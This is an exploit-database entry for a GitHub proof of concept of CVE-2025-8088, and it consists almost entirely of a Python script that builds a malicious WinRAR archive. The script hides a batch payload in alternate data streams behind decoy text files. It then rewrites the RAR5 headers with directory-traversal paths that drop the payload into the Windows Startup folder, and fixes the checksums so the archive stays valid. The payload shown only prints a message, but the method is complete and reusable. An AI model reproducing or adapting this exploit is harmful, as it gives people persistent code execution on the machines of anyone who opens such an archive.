Exploit database

GH-5edceb612e29860486b86d6e2df9f94a

pentestfunctions/cve-2025-8088-multi-document

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2025-8088.py

Python · 7,561 bytes
import os
import struct
import subprocess
import zlib
from pathlib import Path
from typing import Tuple, List

# Configuration
NUM_DEPTHS = 20  # Number of different traversal depths to create
RELATIVE_DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat"
PAYLOAD = "@echo off\necho Payload executed!\npause\n"
PLACEHOLDER_LEN = 200
DECOY_FILE_PREFIX = "file"
OUT_RAR = "exploit.rar"

# RAR5 constants
RAR5_SIG = b"Rar!\x1A\x07\x01\x00"
HFL_EXTRA = 0x0001
HFL_DATA = 0x0002

def create_files() -> Tuple[List[Path], Path]:
    """Create decoy files and payload"""
    decoys = []
    for i in range(NUM_DEPTHS):
        decoy = Path(f"{DECOY_FILE_PREFIX}{i+1}.txt")
        decoy.write_text(f"Decoy file {i+1}\n", encoding="utf-8")
        decoys.append(decoy)
    
    payload = Path("payload.bat")
    payload.write_text(PAYLOAD, encoding="utf-8")
    return decoys, payload

def attach_ads(decoy: Path, placeholder: str):
    """Attach payload to decoy as Alternate Data Stream"""
    ads_path = f"{decoy}:{placeholder}"
    with open(ads_path, "wb") as f:
        f.write(Path("payload.bat").read_bytes())

def find_rar() -> str:
    """Locate WinRAR executable"""
    candidates = [
        r"C:\Program Files\WinRAR\rar.exe",
        r"C:\Program Files (x86)\WinRAR\rar.exe",
    ]
    for d in os.environ.get("PATH", "").split(os.pathsep):
        if d:
            p = Path(d) / "rar.exe"
            if p.exists():
                return str(p)
    for c in candidates:
        if Path(c).exists():
            return c
    raise FileNotFoundError("rar.exe not found")

def create_base_rar(rar_exe: str, decoys: List[Path]) -> Path:
    """Create base RAR archive with all decoy files"""
    base_rar = Path("base.rar")
    if base_rar.exists():
        base_rar.unlink()
    
    # Build command with all decoy files
    files = " ".join(f'"{d}"' for d in decoys)
    subprocess.run(
        f'"{rar_exe}" a -ep -os "{base_rar}" {files}',
        shell=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        check=True
    )
    return base_rar

def get_vint(buf: bytes, off: int) -> Tuple[int, int]:
    """Read variable-length integer from buffer"""
    val, shift, i = 0, 0, off
    while i < len(buf):
        b = buf[i]; i += 1
        val |= (b & 0x7F) << shift
        if (b & 0x80) == 0: break
        shift += 7
    return val, i - off

def patch_placeholder_in_header(hdr: bytearray, placeholder_utf8: bytes, target_utf8: bytes) -> int:
    """Replace placeholder with target path in header"""
    needle = b":" + placeholder_utf8
    count, i = 0, 0
    while True:
        j = hdr.find(needle, i)
        if j < 0: break
        start = j + 1
        old_len = len(placeholder_utf8)
        if len(target_utf8) > old_len:
            raise ValueError("Replacement longer than placeholder")
        hdr[start:start+len(target_utf8)] = target_utf8
        if len(target_utf8) < old_len:
            hdr[start+len(target_utf8):start+old_len] = b"\x00" * (old_len - len(target_utf8))
        count += 1
        i = start + old_len
    return count

def rebuild_all_header_crc(buf: bytearray) -> int:
    """Recalculate CRC checksums for all headers"""
    sigpos = buf.find(RAR5_SIG)
    if sigpos < 0: 
        raise RuntimeError("RAR signature missing")
    pos = sigpos + len(RAR5_SIG)
    blocks = 0
    while pos + 4 <= len(buf):
        block_start = pos
        try:
            header_size, hsz_len = get_vint(buf, block_start + 4)
        except Exception:
            break
        header_start = block_start + 4 + hsz_len
        header_end = header_start + header_size
        if header_end > len(buf): 
            break
        region = buf[block_start + 4:header_end]
        crc = zlib.crc32(region) & 0xFFFFFFFF
        struct.pack_into("<I", buf, block_start, crc)
        i = header_start
        _htype, n1 = get_vint(buf, i); i += n1
        hflags, n2 = get_vint(buf, i); i += n2
        if (hflags & HFL_EXTRA) != 0:
            _extrasz, n3 = get_vint(buf, i); i += n3
        datasz = 0
        if (hflags & HFL_DATA) != 0:
            datasz, n4 = get_vint(buf, i); i += n4
        pos = header_end + datasz
        blocks += 1
    return blocks

def build_relative_paths() -> List[str]:
    """Generate paths with different traversal depths"""
    paths = []
    for depth in range(1, NUM_DEPTHS + 1):
        paths.append(("..\\" * depth) + RELATIVE_DROP_PATH)
    return paths

def patch_rar(base_rar: Path, placeholder: str, relative_paths: List[str]) -> Path:
    """Patch RAR archive with multiple traversal paths"""
    print("Target paths:")
    for path in relative_paths:
        print(f"  - {path}")
    
    data = bytearray(base_rar.read_bytes())
    placeholder_utf8 = placeholder.encode("utf-8")
    target_paths_utf8 = [p.encode("utf-8") for p in relative_paths]
    
    current_file_index = 0
    total_patches = 0
    pos = data.find(RAR5_SIG) + len(RAR5_SIG)
    
    while pos + 4 <= len(data) and current_file_index < len(target_paths_utf8):
        block_start = pos
        try: 
            header_size, hsz_len = get_vint(data, block_start + 4)
        except Exception: 
            break
        
        header_start = block_start + 4 + hsz_len
        header_end = header_start + header_size
        if header_end > len(data): 
            break
        
        hdr = bytearray(data[header_start:header_end])
        target_utf8 = target_paths_utf8[current_file_index]
        c = patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8)
        
        if c:
            data[header_start:header_end] = hdr
            total_patches += c
            current_file_index += 1
            print(f"Patched file {current_file_index} with depth {current_file_index}")
        
        # Move to next header
        i = header_start
        _htype, n1 = get_vint(data, i); i += n1
        hflags, n2 = get_vint(data, i); i += n2
        if (hflags & HFL_EXTRA) != 0:
            _extrasz, n3 = get_vint(data, i); i += n3
        datasz = 0
        if (hflags & HFL_DATA) != 0:
            datasz, n4 = get_vint(data, i); i += n4
        pos = header_end + datasz
    
    if total_patches < len(target_paths_utf8):
        print(f"Warning: Only patched {total_patches} of {len(target_paths_utf8)} files")
    
    rebuild_all_header_crc(data)
    final_rar = Path(OUT_RAR)
    final_rar.write_bytes(data)
    return final_rar

def main():
    print("Creating files...")
    decoys, payload = create_files()
    placeholder = "X" * PLACEHOLDER_LEN
    
    print(f"Attaching ADS to {len(decoys)} decoy files...")
    for decoy in decoys:
        attach_ads(decoy, placeholder)
    
    print(f"Placeholder: {placeholder}")
    
    print("Finding WinRAR...")
    rar_exe = find_rar()
    
    print("Creating base RAR...")
    base_rar = create_base_rar(rar_exe, decoys)
    
    print("Generating relative paths...")
    relative_paths = build_relative_paths()
    
    print("Patching RAR with multiple traversal depths...")
    try:
        final_rar = patch_rar(base_rar, placeholder, relative_paths)
    except Exception as e:
        print(f"Patching failed: {e}")
        print("Keeping base RAR for debugging")
        return
    
    base_rar.unlink()
    print(f"\nExploit created: {final_rar}")
    print(f"Payload will attempt to drop to startup folder using {NUM_DEPTHS} different depths")
    print("Note: At least one should succeed in common extraction locations")

if __name__ == "__main__":
    main()